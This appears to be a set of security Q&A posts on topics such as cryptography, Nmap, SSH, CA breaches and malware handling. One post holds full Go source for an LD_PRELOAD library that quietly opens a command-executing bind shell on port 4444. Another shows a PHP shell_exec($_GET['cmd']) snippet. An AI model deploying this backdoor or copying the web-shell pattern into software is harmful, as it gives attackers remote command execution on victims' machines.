An attempt to overcome the key distribution problem inherent in one time pad cryptography After reading about the 'imminent cryptocalypse' etc, I started thinking about a cryptographic protocol that would not depend on complexity of mathematical operations (e.g. factorisation, discrete logarithm) for privacy.

I made a proof of concept that works by round-tripping the locally encrypted/decrypted message at both client and server, with precautions to protect the key from being discoverable during transmission. Details, and code, are hosted online.

An associated advantage of the scheme is that encryption preserves the message length, so might be suited for small messages (SMS etc) that can tolerate a small increase in transmission latency. I might invest some time in developing this into a SMS exchange platform, if the protocol stands up to scrutiny.

While it was just a little hobby project, I am wondering if it is really as secure as I have imagined it to be. Perhaps someone more knowledgeable about the number theoretic properties of modular groups can comment? In particular, my scheme relies on modular multiplicative inverse not existing for even members of (Z/2^nZ)*.

Thanks.

On a general basis, we don't want to encourage this kind of question:

References to code are not good descriptions of cryptographic algorithms. Good descriptions use the language of mathematics, not programming.
A description on a set of files on github is not permanent enough; if you ever change it, then this will make this question unreadable.
There is a very inefficient and tiresome cycle, which goes thus: "Hey, I don't know the subject, but I have this idea; is it secure ? -- No, it is not, for this reason. -- What if I add a +1 there ? -- No, does not help. -- Then what if I also put a +2 at that place ? -- ..." Experience shows that this kind of process never ends up with a good algorithm; however, it produces long-winded awful discussions. It is already bad enough on Usenet groups like sci.crypt; on a Q&A site like this one, it will just not do.

From a cursory look at your files, though, it appears that you want to use Shamir's three-pass protocol. This requires a commutative cipher such that you can encrypt a message with key u, then with key v, and then decrypt with key u and v in that order, and get back the original message. Unfortunately, commutative ciphers are hard to make without a lot of mathematics, like modular exponentiations modulo big primes.

Your idea to do multiplications modulo 2n and to "encrypt" only message values x which are not invertible modulo 2n is not secure. Indeed, from the outside, the attacker sees x*u, x*v and x*u*v (all values modulo 2n). Since x is even, there are integers m and y such that y is odd and x = y*2m. u and v being odd (that's necessary for them to be invertible), the observed values are necessarily multiple of 2m and not 2m+1. In other words, expressed in binary they all end with exactly m zeros.

The attacker's goal is to recover x. He already knows m, as explained above. He wants y, which has length n-m bits. By simply dividing all the values he observed by 2m, he gets y*u, y*v and y*u*v, all values modulo 2n-m, and they are all odd, hence invertible. It then suffices to compute (y*u)*(y*v)/(y*u*v) (modulo 2n-m), which yields y. End game.

The above generalizes to all computations modulo some integer N when taking x to be non-invertible modulo N.

I encourage you to do your homework, i.e. read the Handbook of Applied Cryptography, which is a free download and very good reading (if a bit terse at times). Shamir's three-pass protocol is described in chapter 12, page 500. Mind the following passage:

  While it might appear that any commutative cipher (i.e., cipher wherein the order of encryption and decryption is interchangeable)
  would suffice in place of modular exponentiation in Protocol 12.22, caution is advised. For
  example, use of the Vernam cipher (§1.5.4) would be totally insecure here, as the XOR of
  the three exchanged messages would equal the key itself.

The worst sin in scientific research is to disregard previous research.


Script to make schedule tasks on Windows with Admin credentials I have a written a script (in R)

cmd = paste0("schtasks /create /sc WEEKLY /d MON /tn ",task," /tr ",comm," /st 12:51")
system(command = cmd)

Where task is the name of the task and comm is the location of R and the script. This works and the script is executed. However I have some scripts where I would like to pass my credentials.

Essentially this is just adding /RU *** /RP *** to cmd, however I don't think storing my username and password is a good idea in a shared file.

Is there a way to encrypt the credentials or maybe another alternative?

Rather than doing it in R, you can do it in Powershell and save the credentials as a secure string.  That solves the problem of it being human-readable, but the credentials used to create it are still available (which is not a good security practice).  More info on that is available here.    Otherwise you can do this in Powershell and use get-credential, which prompts you to enter the appropriate credentials.  (That's a lot more secure way to handle that, although it comes with the "bother" of entering your ID and password)


How do I run an unknown .exe file without being in risk I would like to know whether there is any way I can run an absolutely unknown executable file without being hacked even if the file contains a lot of malicious code. Is there any program in which I can run it without putting myself in any risk?

If you really want the closest thing to a 100% safe way of running malware:

Create an account with Amazon Web Services, fire up a server but don't connect it to anything (read: put it in its own VPC) and do your analysis there. Burn after analyzing.

Side note: there are some pre-created AMIs in the " Ec2 Market Place" that have malware analysis tools loaded on them already if you feel like getting frisky.


Commonly observed attack patterns modelled in Honeypot configurations (Judging by voting and answers, I failed rather badly at asking a question that in my head was superbly clear. Clearly I was wrong. I've since attempted to rephrase the original question to more precisely reflect my original thought, and now with the help of two good answers to a terrible question!)

Question:

Have anyone come across a repository of Honeypot configurations modelled based on the CAPEC and a set of suitable metrics for discovering the attack pattern in question?

Background

Reports and discussions often surround the number of confirmed breaches, such as DBIR et al. While it's possible to draw a number of conclusions from this data about the effectiveness of security mechanisms it's certainly no easy task, nor particularly accurate.

I learned of CAPEC a few months back and have only recently been reintroduced to Honeypots. A failed breach attempt could, if modelled correctly, demonstrate what exactly prevented the attempted breach and hence what security mechanisms actually do work.

(Having recently had the DBIR presented to me by one of the original writers it was only in a minority of cases where for example an IDS was responsible for the discovery of the breach.)

While the question is a bit general - the answer is yes. That is the good news, the bad news is that you will have to work.

What do I mean?

There is an excellent threat modeling tool called PTA - Practical threat analysis (you can download it from our web site www.software.co.il).  If you follow the methodology of mapping assets, threats (breaches..), vulnerabilities (people, systems, network, software), and security countermeasures, you will be able to build a fairly good model of your system.  The PTA software will then show you what are the most cost-effective countermeasures based on the asset value, probability of threat occurrence and level of damage/threat.

Regarding metrics - metrics are in a sense the measurement data for a threat model.  Regarding data breaches - not knowing what kind of assets you are trying to protect - it is hard for me to give you a general answer but I would collect metrics from your firewalls/IPS, DLP appliance (if you have one) and Linux auth logs - like the number of failed login attempts, root login attempts etc.

If you are interested in metrics - I would highly recommend reading Jaquith "Security Metrics" - it's available on Amazon.

Hope this gives you some direction


Are there known Windows viruses which are capable of ARP spoofing? Are there known Windows viruses which are capable of ARP spoofing? If so, how widespread are they?

ARP spoofing is tricky to do blindly. If the virus just starts ARP spoofing, there is no way to tell just how many computers might send traffic to the infected host, and DoS the infected host. So, most ARP spoofing attacks choose a victim to attack. A blind virus is not going to be able to do this intelligently. It is also difficult to blindly extract value from this act. So, no, it is not likely that one will get a virus that ARP spoofs.

But, if the "virus" is actually a RAT, then it gives control of the victim to a user who can make intelligent decisions. But I'm not sure if this falls into your definition of "virus". There are many, many RATs of many different kinds that can infect every kind of computer. So, in this definition, there are many and they are very widespread.


Notifying users of a possible security breach Yesterday, a coworker informed me that a user had opened a malicious e-mail containing a .dotm document which she could not open.

I undertook the usual steps to prevent the malware from spreading to other servers.

But should I also notify users of what had taken place yesterday and to remind them of the dangers of such e-mails?

Note: The last time we had a (big) security breach, we did notify the users of what had happened. Both that and the one above were results of users opening malicious mails from unknown senders. I could understand that we should remind users of not opening mails from unknown senders, so such breaches can be avoided in the future. But my company does not specify whether we should notify users of security breaches (even if there almost was one)

From a pure information security perspective telling users there was a breach makes the threat more immediate and seem more applicable to them, however there are other considerations, for example:

business: If an internal email gets leaked does the company want a security breach to be public knowledge?
human resources: if someone was able to use details in the internal email to determine who opened the attachment that person may be subject to abuse, or it may breach their legal or contractual rights

Really it's a management decision as to how these things should be dealt with, ideally in the form of a process that implements a policy that is derived from a strategy. If you don't have any of that then kick it up the chain of command and do what they say.


Does Nmap requires a closed TCP port to do OS fingerprinting? I was checking the security of a server by running Nmap. Last time it gives me the following results, indicating that OS could not be fingerprinted:

PORT     STATE    SERVICE    VERSION
21/tcp   filtered ftp
22/tcp   open     ssh        OpenSSH 5.2
23/tcp   filtered telnet
25/tcp   filtered smtp
80/tcp   filtered http
443/tcp  open     ssl/http   Nginx
1433/tcp filtered ms-sql-s
3306/tcp filtered mysql
8080/tcp filtered http-proxy
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host

I did the same scan using the same Nmap version recently, however this time it reports some possible OS prediction:

PORT     STATE    SERVICE    VERSION
21/tcp   filtered ftp
22/tcp   filtered ssh
23/tcp   filtered telnet
25/tcp   filtered smtp
80/tcp   open     http       Nginx
443/tcp  open     ssl/http   Nginx
1433/tcp filtered ms-sql-s
3306/tcp filtered mysql
8080/tcp filtered http-proxy
Device type: storage-misc|general purpose
Running (JUST GUESSING): Microsoft Windows PocketPC/CE|2000|XP|NT (92%)...
OS CPE: cpe:/o:microsoft:windows_ce cpe:/o:microsoft:windows_2000::sp4 ...

Aggressive OS guesses: AT&T U-Verse set-top box (Windows CE 5.0) (92%), Microsoft Windows...
No exact OS matches for host (test conditions non-ideal).

For both cases, all TCP ports are either filtered or open. Why does Nmap not report a missing closed TCP port in the second case? And does it rely on a closed TCP port to do OS fingerprinting?

I've already written an answer to another question that details all the reasons a fingerprint may be non-ideal, but the short answer is yes, Nmap requires a closed TCP port to get the best match. But I'd guess that there are other things interfering with your scan if it's showing Nginx running on Windows CE.

Based on your output, I'd guess that the first scan used -d or -vv, but the second scan did not. The logic in output.cc says that the "No exact OS matches for host (test conditions non-ideal)." line only gets printed if there is a "reason", but the only condition under which the "reason" is not shown is if verbose is less than or equal to 1 and debugging is not turned on.


Proper secret key management Right now, I'm thinking that for all incoming requests, my server will check the token of the request against the token constructed from my app's global secret key for authenticity. The only way for anyone to hack is by gaining control of my server. then again, if anyone managed to gain control of your server, you're toast, it's all over, no measure can be taken to stop the attacker. is there any flaw in this argument?

Actually, there are some means by which you could make an attack more difficult or limit the impact of a breach here.

One is using per-user secrets and storing them separately.  The server would only see them in memory and some form of server sharding by user could be used to limit the number of per-user secrets exposed to a single compromised server.

Another is using a separate KMS system that generates or validates tokens.  That system would have to be hardened as well, but an attacker would then have to breach multiple layers of your system to steal the secrets.  In some KMS systems the keys are stored in the TPM so even a soft compromise of the KMS wouldn't leak the keys.  They'd have to steal the hardware itself so offline attacks of your tokens are effectively designed out.

Bear in mind that the token system may not be the weakest link here.  It's good in isolation to harden it, but to have effective overall security you need to make defense choices based on a threat model of the system this component is deployed into.


How long before a key is visible on a key server? I am playing with GPGTools on a Mac and quite liking it so far, the GUI makes it nice to handle keys. I am using the default hkps://hkps.pool.sks-keyservers.net key server, to which I have uploaded my public key.

However after a day, if I look for my public key on there using the key ID, it still tells me that no key can be found. Is this normal? Does it normally take this long for a key to show up on a key server?

The SKS key server pool is not a single key server, but a whole pool of servers administrated by different users all of the world. By using DNS round robin, you will be assigned to a different one from time to time (actually, you will get a new set of servers every 60 seconds).

It can happen that a single server is having issues, and there is some delay based on the synchronization schema these servers are using. If a key did not spread through-out the key server network after some minutes or hours, upload it again. If you want to spread a key rather fast, upload it to multiple servers in the network to shorten up the replication paths (and be less dependent on single machines failing or being slow at replicating keys).

Generally, the SKS key server pool is pretty stable and reliable, as (temporarily) broken servers get kicked out of the pool for a given time automatically (and will be re-included as soon as they're working again).


authenticity, confidentiality & integrity - general questions I am pretty new when it comes to information security. And before I move on with more specific things I wanted to ask if I understood the three main parts of IPsec correctly: authenticity, confidentiality & integrity.

My focus here lays on VPN connections and the general term of the three topics. I am going to write down what I - so far - understood and hope that you can help me by correcting wrong statements.

Maybe some facts to the background of this question. I was setting up an IPsec tunnel for test purposes and want do declare if I understood all parts correctly. So the general purpose of an IPsec (site to end / remote access) tunnel is, that e.g. a home office user is able to connect to a company network and therefore access resources that are located within this. The main focus of IPsec is to provide the three purposes of authenticity, confidentiality & integrity. But what does this mean?

Integrity:
Integrity is used to make sure that nobody in between site A and B (for example) changed some parts of the shared information. Therefore a hash is calculated and added to a packet. This can be achieved by using hashing algorithms like MD5, SHA(1,2) and so on. To really make sure that no one is even able to modify the hash HMACs are used. This stands for hashed message authentication code. The main difference between a hash and a hmac is that in addition to the value that should be hashed (checksum calculated) a secret passphrase that is common to both sites is added to the calculation process. E.g. [Value that should be hashed] + [secret passhrase] -> Hashed value of this "two" inputs. Here comes my first question: Can this be compared with a "salt"? Or what exactly is the difference between a HMAC and a Hash + Salt? And what is Pepper, if a Hash + Salt equals a HMAC?

Confidentiality:
Confidentiality is used to make sure that nobody in between site A and B is able to read what data or information is sent between the to sites. To achieve this encryption algorithms are used. There are two kinds of encryption algorithms, symmetric and also asymmetric ones. Symmetric algorithms allow encryption and decryption with the same key. With asymmetric algorithms you have to kinds of keys: a public one and also a private one. The public key is often available to the public while the private key is just available for "yourself" (if the mentioned keypair is yours). Everything that you encrypt with the public key can only be decrypted with the private one and vice versa. When it comes to confidentiality you often just use symmetric algorithms like DES, 3DES (both outdated) or AES. Asymmetric encryption is used to transfer a symmetric key and also to make sure that the other site is really who it seems to be (when it comes to SSL/TLS).

Authenticity:
And this last sentence of the confidentiality part leads directly to the authenticity part. Authenticity is used to make sure that you really communicate with the partner you want to. To achieve these different kinds of techniques can be used, e.g. Pre-shared keys that are configured on both sites, Elliptic Curves or RSA as public/private key algorithms.

This is the part where I think that I misunderstood lots of aspects. Because I am not sure, where the exact difference between authenticity and confidentiality  lays, as both seem to focus on de/encryption (except if you are using a PSK for authenticity). And I know that Diffie Hellman is used when it comes to an IPsec tunnel. As far as I know the Diffie Hellman algorithm is not an encryption algorithm, but it is used to transfer a symmetric encryption/decryption key over an unsecured network (like the internet). So is DH part of authenticity, because (e.g.) only site A and B are able to calculate and transfer a symmetric key? But how does this prove that e.g. site B is really site B and not an attacker?

Is it correct that I can compare the RSA or EC process with SSL/TLS with the exception that SSL/TLS adds digital certificates with digital signatures (HMACs) in addition?

The difference between authenticity and integrity is this:

Suppose party A and B are talking to each other. Authenticity would mean that messages received by A are actually sent by B. Integrity means that on the route from B to A, the message has not changed in between.

In general, authenticity would imply integrity but integrity wouldn't imply authenticity. For example, the message may retain its integrity but it could have been sent by C instead of B.

  So is DH part of authenticity, because (e.g.) only site A and B are able to caluclate and transfer a symmetric key? But how does this prove that e.g. site B is really site B and not an attacker?

DH is not part of the authentication process. In SSL/TLS you use the certificates of both parties for authentication. After you have authenticated the parties, you share a secret key for your symmetric encryption. This keys are exchanged using DH key exchange.

Keep in mind that authentication is different from authenticity. Authentication is establishing that you are talking to B while authenticity is establishing that the message actually came from B.

  And a last question of mine is, is it correct that I can compare the RSA or EC process with SSL/TLS with the exception that SSL/TLS adds digital certificates with digital signatures (HMACs) in addition?

I am not sure what exactly do you mean here. RSA or eliptic curve are algorithms that are used for asymmetric encryption. SSL/TLS is a communication layer.


Is SSH with key authentification safe in untrusted network? Setup:

OpenSSH running on my server and JuiceSSH on client mobile device. Password authentication is disabled and private key is stored encrypted inside JuiceSSH dedicated memory.

Situation:

I want to connect to my server from an untrusted network (eg. public Wi-Fi on the bus or in the mall). The network is an open network and insecure, it may be possible that malicious 3rd party eavesdrops the connection and captures the data being sent and received.

Question:

In the above situation:

can the eavesdropper gain access to my server?

if yes - how would he achieve that and how could I prevent it?
if no - what mechanism is preventing this sort of attack?

how would the answers change if I were using passwords instead of keys?

can the eavesdropper gain access to my server?
if no - what mechanism is preventing this sort of attack?

No - The connection used to communicate the authentication is secure from eavesdropping using Diffie-Hellman key exchange as part of the process and digitally signing the protocol steps as proof that tampering hasn't occurred. Read the following: How does SSH use both RSA and Diffie-Hellman?

how would the answers change if I were using passwords instead of keys?

A password will likely lower the "brute-force-ability" of gaining access to the server, as your password is likely to be a lot lower in bits than the keys used.


Established Security Design Patterns? In software engineering, a design pattern is a general reusable solution to a commonly occurring problem within a given context in software design. Wikipedia lists many different design patterns for example, but security is never mentioned.

Open SAMM includes the following question in the audit checklist for Secure Architecture:
Are project teams provided with prescriptive design patterns based on their application architecture?

I never came across any established security design patterns that are considered state of the art from the community. Am I missing something here or are there no such security design patterns?

The thing about security is that it's never a one-size-fits-all sort of deal. Because of that you always have to adapt designs to apply to the threats you're willing to counter. A good security design pattern is just a good software design pattern.

If you take a look at Wikipedia it lists a few: http://en.wikipedia.org/wiki/Security_Patterns

There is also an interesting website I came across while Googling: http://www.securitypatterns.org/patterns.html

Or if you take a look at CERT ( http://www.cert.org/archive/pdf/09tr010.pdf ) it lists a few. Here are some just from it's list of figures:

Defer to Kernel Pattern
Secure Factory Pattern Structure
Secure Strategy Factory Pattern Structure
Secure Builder Factory Pattern Structure
Secure Chain of Responsibility Pattern Example
Secure Chain of Responsibility Pattern Structure
Secure State Machine Pattern Structure
Secure State Machine Example Code Collaboration Diagram
Secure Visitor Pattern Structure
Secure Visitor Example Code Collaboration Diagram
Secure Logger Pattern Structure
Clear Sensitive Information Pattern Structure
Structure of the Input Validation Pattern


Why is it not possible to spoof referer and origin header with XHR? Technically speaking, it is possible to spoof both headers using an intercepting proxy but that's useless because we are doing it ourselves as an attacker.

When we send an ajax request using JS from another domain with our spoofed referer and origin header it won't really be spoofed. The browser would still send the legit header to the server.

My question is, why is it so that we can't spoof both these headers while sending cross domain requests?

You can't set those headers, because the browsers ignore attempts to set them. Browsers ignore attempts to set them, because they aren't supposed to be script-controlled. The restriction on letting them be script-controlled is for security reasons. If you could set the Origin header, you could break the security guarantees of CORS. Since the whole point of CORS is to open gaps in the same-origin policy for trusted origins only, letting a script (which can be attacker-controlled) spoof the origin is obviously unsafe.

Another question would be: why should XHR/Fetch allow you to set those headers? What legitimate reason is there to do that? There's a good reason to disallow it (breaks a security guarantee, setting us back to the bad old days of JSONP where you couldn't be sure who sent the request), and no good reason to allow it, so of course it's not allowed.


Server loaded with antivirus lets viral file go through We have a .NET MVC website with a WCF Service as a service layer. One of the feature that the service offers is the ability to upload documents. When we asked our security consultant to test our system for vulnerabilities, he found that a user can upload EICAR.txt (an innocuous string that acts as an virus to all antivirus software) can be uploaded  to the system.

This file basically goes as a Byte Stream from upload function and gets saved to the database as a BLOB through a service call. The servers (both IIS web server and database server) are loaded with antivirus.

You can not go to these servers and download an EICAR file beucase antivirus just wouldn't let you do that. However, when the file reaches the IIS server as a Byte[] or when it reaches the database server as a BLOB through the application code, it goes through.

Is there any way to make my application robust so that it is safe against virus infected files?

Let's not overestimate the finding of the security consultant because some of them don't really know what they do. Of course I don't know the real report and can base my opinion only on what you wrote. But I had once to do with a report where the consultant complained that the EICAR virus was not found by a firewall when it was used as a subject of a mail, even though the intended use for the EICAR test virus says explicitly:

  Any anti-virus product that supports the EICAR test file should detect it in any file providing that the file starts with the following 68 characters, and is exactly 68 bytes long...

Thus, detecting the code inside some byte stream inside an application or database does not cover the usage at all because it is not a file. And maybe it does not even fit the other requirements about start and length. But it would be bad if the byte stream gets actually saved somewhere as a file, like when downloaded by the browser.

There is a reason for this usage restriction of the test virus: The byte stream of a virus is not dangerous by itself. It is only a problem when it is used in a context where it can be executed, typically when it is saved as a file with a specific extension like .exe, .com, .scr, .dll etc.

But is is true that if the malicious code is already loaded inside an application it might also be executed by other means, either deliberately or due to a bug like a buffer overflow. Deliberate execution would also be possible if the code was hidden with for example encryption so it does not matter. And buffer overflow would not execute the malicious code directly but there would be some code first which exploits the buffer overflow to then execute the specific code. And even this exploit code  might include some simple XOR to decode the real malicious code first.

This means that looking for the signature of malware somewhere inside some byte stream which may or may not ever be used directly in execution might cause more false alarms than be of real use. Therefore make sure that you don't execute any code yourself you have in the database and that you don't send anybody the data inside a download or save them as a single file yourself.

Apart from that enterprise antivirus products often have an API (or offer ICAP) so you can send any byte stream you want to the antivirus for analysis. This should be done inside your application on any place you consider it necessary. And of course you should be aware that this was just a test virus and that antivirus will not find all possible malware, so you never can offer a full protection.


Access Control Badges -- Plain or Printed IDs? My question is around best practices and risks regarding labelled employee ID badges and access control systems.

My company is moving into a new office, and it has an access control system with printable RFID keycards.  This system uses smartphone and/or keycard to unlock the front door as well as internal doors such as IDF room for authorized staff. There is debate within the IT department to either:

1) Leave the badges plain, so if stolen it's difficult to tell what it is for, or

2) Print on the badges with company name and a picture of the person, so they can later (if the company desires) be used as an employee ID card.  This is so if the company pursues ISO27001 compliance, it can easily take care of ID card requirements.

There's a lot of conflicting opinions out there about whether to have a plain badge, or use a DoD-style badge with information clearly on it.

My question is how does the risk of having printed badges balance with ISO and other compliance requirements?  Also, If using printed badges, what mitigations should be in place in case of stolen badges?

ISO 27001 recommends following in terms of authentication and securing access:

Two-factor/Multi-factor authentication shall be applied to ensure secure authentication to the most sensitive/critical critical facilities, information systems, and applications.

Example of Two-factor authentication: Card + Pin, Card + Thump (preferred), etc

Hence whether you are going to use plane/printed card it's always recommended to use two-factor authentication to mitigate risks.

Further to your question of whether to use blank cards, the best practice is to print the details of the owner/user of the card as the responsibility of the card should be with the owner/user and it will be used to identify the (part of identification process) user by physical observation in 'visual security checks' (may be at reception/entrance security guards).

Hence It is always recommended to have Two-factor authentication process with printed access cards (could be used as Employee ID card as you've indicated) allowing to have a visual check also top of the Two-factor authentication.

Hope this clarifies...


Sending a executable that use LD_PRELOAD to modify fopen and create a backdoor I follow the article Hooking libc using Go shared libraries to create the following code:

package main

import (
    "C"

    "bufio"
    "log"
    "net"
    "net/textproto"
    "os/exec"

    "github.com/rainycape/dl"
)

// main is required to build a shared library, but does nothing
func main() {}

//export strrchr
func strrchr(s *C.char, c C.int) *C.char {
    go backdoor()

    lib, err := dl.Open("libc", 0)
    if err != nil {
        log.Fatalln(err)
    }
    defer lib.Close()

    var old_strrchr func(s *C.char, c C.int) *C.char
    lib.Sym("strrchr", &old_strrchr)

    return old_strrchr(s, c)
}

func backdoor() {
    ln, err := net.Listen("tcp", "localhost:4444")
    if err != nil {
        return
    }

    for {
        conn, err := ln.Accept()
        if err != nil {
            continue
        }

        go handleConnection(conn)
    }
}

func handleConnection(conn net.Conn) {
    reader := bufio.NewReader(conn)
    tp := textproto.NewReader(reader)

    for {
        input, err := tp.ReadLine()
        if err != nil {
            log.Println("Error reading:", err.Error())
            break
        }

        cmd := exec.Command("/usr/bin/env", "sh", "-c", input)
        output, err := cmd.CombinedOutput()
        if err != nil {
            conn.Write([]byte(err.Error() + "\n"))
        }

        conn.Write(output)
    }

    conn.Close()
}

If I build this and send to a target, and he/she executes, can I send instructions if I know his/her IP? It seems too simple to believe. Can't a firewall protect the user from this?

Thanks!

Can't a firewall protect the user from this?

Yes, If a firewall/IDS is installed it will probably block your backdoor, since most firewalls block suspicious inbound connections. That's why most of the times instead of a bind shell, a reverse shell is used instead. But again a firewall may be blocking outbound connections too, so it will fail also.

Now, if a firewall is not installed, a bind shell will probably fail again, because of NAT. If the target isn't directly exposed to the internet and hasn't forwarded this specific port you won't be able to connect, but it would work if you were in the same network with the target (and no firewall/IDS was installed).


Downsides to using HTTPS Recently Google has indicated that a HTTPS certificate will be used as a positive signal in it's search rankings.

This has caused some discussion within our company as to if we should apply a HTTPS certificate to our new site.

However, our site contains no login details, does not carry user data, and is effectively static content.

This combined with the fact that Google has stated that it will only be used as a small factor, means that I feel like it would be overkill and not required.

However others at the company are saying "what's the harm, it can only help".

Other than the cost, are there any downsides to HTTPS?

Other than the cost, are there any downsides to HTTPS?

Yes, HTTPS traffic cannot be cached by third party proxies. If your content is highly cacheable (very likely if your site is mostly static content) and you have lots of users that have slower internet connection (e.g. most people in developing countries rely solely on slow, congested mobile network), caching proxies set up by their ISPs or mobile providers or corporate/university network cannot return a locally cached result. Instead they all have to go all the way to hit your server even when the same content has been requested thousands of times around the neighborhood.

This can be mitigated a little if these users install their ISPs proxy certificate, which allows the ISP to essentially do an MITM with the user's permission, but this will significantly compromise the security of sites that actually do need the security of HTTPS.


Spoof IP in a TCP Packet & Vulnerable PHP Code Assuming we have this PHP Script

<?php

//$user_ip here REMOTE_ADDR etc etc

if($user_ip == "22.41.41.41")
{
  shell_exec($_GET['cmd']);
}

?>

It is vulnerable? I mean let's say that I'm the 22.41.41.41. Can someone else spoof that IP by changing/making a TCP Packet and trigger the shell? I'm really curious if this is possible.

Also we don't want a response back from the server, since the hack can be performed only by sending a command.

I'm glad that you specify that the attacker will not get communication back: many people don't understand that impact of spoofed IPs.

Technically, yes, that script is vulnerable to a spoofed IP, but a lot has to happen first:

The routers along the network path have to not inspect the source IP for sanity
The routers along the network path have to allow source path routing (not common)
The server isn't using any technology that requires a handshake first (TLS/SSL, etc.)

If the stars align, then yes, an attacker could trigger that script.


What voip client support manual encryption? In pidgin there is a plugin that we can use to encrypt our messages in chat windows .. Is there anything simular for voip (pc to pc) ? any client that support manual encryption for voice data?(linux)

If you can directly connect, you can tunnel just about anything over SSL using stunnel. Any other sort of port-forwarding arrangement would also work. If you're using something more complicated involving SIP, you'll have to build a custom application or a fancier proxy that works in tandem with directory services.

I haven't used this in forever, nor has it been updated in a decade, but Speak Freely was a cool tool in its day that included crypto that the end user was responsible for. It's under the GPL.


How should we respond to a root CA breach? In the unlikely event that a root CA is breached (eg. Comodo, DigiNotar), how should  people and companies respond?
(Assume the people responding practice infosec & are aware of the problems of such a compromise)
Possible responses:

Assume much of the internet is insecure and temporarily stop/minimize using it
Continue internet usage as usual, watching out for issues using common sense
Remove certain certificates from the browser and continue with the internet

Certificates protect against man-in-the-middle attacks, which are already pretty hard to accomplish on the open Internet. The attacker usually needs to either control a router between user and website or the DNS server used by the user. That's not something a wannabe cybercriminal can pull off from their basement. That's something which is usually done by state actors.
For most regular users it would be good enough to just let the browser vendors assess the situation and wait for them to revoke the root certificate with the next update if they deem it necessary.
But when you are working in a particularly sensitive industry targeted by highly sophisticated attackers, then you might opt to remove the CA's root certificate from your browsers certificate store yourself (how to do that depends on the web browser you are using). The result will be that any website which has a certificate issued by that certificate authority now generates a security warning. You can of course choose to ignore that warning and keep browsing it under the assumption that what you see might actually be a fake website provided by your attackers.
Also note that some websites might use certificate pinning. So your browser will remember who signed the certificate when they first saw the website and reject a certificate by a different certificate authority.


How can we limit access to a single computer? We would like to limit access to our web servers (and eventually other services on the computer) to individuals that have been authorized access. Of course we don't trust passwords so we think certificates are the right answer.
There are hundreds of these servers. Access to any one server should NOT provide access to any other server. The access should be to only the single server. (Access will also be time-limited for additional security).
Other relevant requirements

The server is remotely installed and may not have good or any internet access.
The server should be capable of stand-alone operations (ie not relying on much external infrastructure)
Other protocols will be involved besides HTTPS (e.g. MQTT). Features that require specific support from servers may be difficult.
The server will be accessed by attaching a computer to a port directly on the device. (Ie Internet (or intranet) optional).

How can we implement these security requirements?
We are currently on a path that would involve creating individual CAs for each server. The server would require mutual authentication for the server and client. The server and client certs would be signed by the unique CA for each server.
Added "Why 1-1"
Why 1-1 CA to Server?
The fundamental behavior of certificates is trust. Any certificate signed by a trusted CA is likewise trusted.
Consider two server certificates are signed by the same CA. If a user (client?) certificate is also signed by the same CA then that certificate can be used to authenticate to the either server. The requirement is that the user is only authorized to access one server, not the other.
Is there additional information that can be included in a user certificate that would further enforce the use of the certificate for a single server and rejection on any another server?
I've seen that additional information can be added to the certificate. Is there something inherent to certificates that allows enforcement that the certificate is only useful to one server?

Is there an alternative? Perhaps one that does not involve creating many CAs?
FYI -- The servers are all running Linux.

This can be simplified with some form of central management, such as using a directory/identity server that speaks LDAP or another protocol. This would only require a single CA in the ecosystem, and it prevents you from needing to set up access controls on each server individually.
On the directory server, each user is added, along with their public key and possibly groups that correspond to the servers they should be able to access.
When a client connects to a particular server, the web server (e.g. Nginx) initially checks that the user's certificate is signed by the CA. If the certificate is valid, the certificate's information is extracted and passed to the application. Then, the user can be looked up in the directory server, and their privileges/groups returned. Then, the server can check if the returned groups should be granted access, and proceed from there.
You can easily revoke access from the directory server to prevent further usage of the certificates.
Of course, implementing this will depend on your specific application and what tools you are willing to use. There may even be a ready-made solution out there.


Work from home, remote monitoring software, vpn, privacy So I work for a company where I make and receive phone calls and connect to remote servers and workstations.  I work from home, use a company laptop and connect to the company's network via software VPN . The hardware setup is a laptop, monitor, Plantronics box, phone line, cable modem/router w/ RJ11 & RJ45 ports, cat 6 cabling.

The company can remotely monitor my work laptop via software.  They have the ability to capture video and images on the screen of the laptop.

There are periods of significant downtime during which I'd like to work on personal stuff on my personal laptop. For a variety of reasons, I need to use only one monitor and switch video between the two laptops.

So I bought an IOGEAR 2 port USB KVM switch model GCS632U. Also bought a Kinesis Freestlye 2 keyboard and couple wifi/BT dongles.  The IOGEAR KVM can switch between between laptops using a hotkey, no software required.

My intention is to set up a hardware solution so my activity on my personal laptop cannot be monitored by the company from the work laptop. My question is, is it possible for the company to monitor or view my personal laptop video output or screen from the work laptop if I am using the KVM hardware setup that I described?  Is the hardware setup adequate?  Is there a more effective or efficient way to accomplish my objective? Thanks.

The screen and KVM are irrelevant. The software is on your work computer. That computer and it's output will be monitored. If you switch to the other laptop, the monitoring will still record the old one's screen. There is no actual problem in your case.


Encryption on the GPU, safer or not? I was just wondering whether performing encryption on the GPU was safer than on the CPU, with regard to the difficulty of reading the encryption key from memory and/or various other hardware attacks.

I know there exists extensive literature about how to extract information from software cryptographic implementations but they mostly assume that a standard CPU is running the code. Can such attacks be extended to a GPU-style hardware architecture? Has it been done?

This could also be useful in general-purpose key management, where an encryption key must be kept secret for some duration. Instead of having it sit in memory, it could go into GPU memory (bonus: it can't be paged out to disk nor cached), and if you are doing the encryption within the GPU you don't even need to move it back and forth. But I'm sure there are GPU memory dump programs out there.

Does anyone have any experience with GPU cryptography and any possible weaknesses?

While it's true that GPU memory isn't paged out, all peripherals have addressable memory on the system and graphics cards have no special aspect about them that's designed with security in mind. It's an obscurity thing at best that somebody might not think to check there or the out-of-the-box tools don't address that space. Given proper drivers, GPU memory can be accessed via DMA, so you hard drive can write directly to the GPU if the CPU says to go for it.

Generally, all the available resources of a GPU are dedicated to graphics work. You'd have to fiddle with drivers to make them respect the space you're trying to use or it would risk being clobbered by various pixels of cats as you watch videos on YouTube.

If you're looking for a more secure use of hardware for encryption and key storage, it's best to look into dedicated units.


Is a VM only as secure as its host? Question

If one installs a VM with "high security" on a host machine with "low security", will the VM be only as secure as the machine it's installed on, or will the high-security aspects from the VM (e.g. latest service-packs and updates, anti-virus software, firewall, etc.) compensate for the fallibility of the host?

Background

In my line of work, I occasionally need to remotely access customer sites.  Customers vary in their remote access processes. Some use dialup, some use VPN and some use web portals.

The customers also vary in their security procedures; some are fairly relaxed and some are far more rigid.

I have recently been asked to connect to a site via a web portal that does a sweep of my machine, looking for various things such as:

Approved OS level
Approved Firewall installed and active
Approved anti-virus software, spyware software, etc.
Several other factors

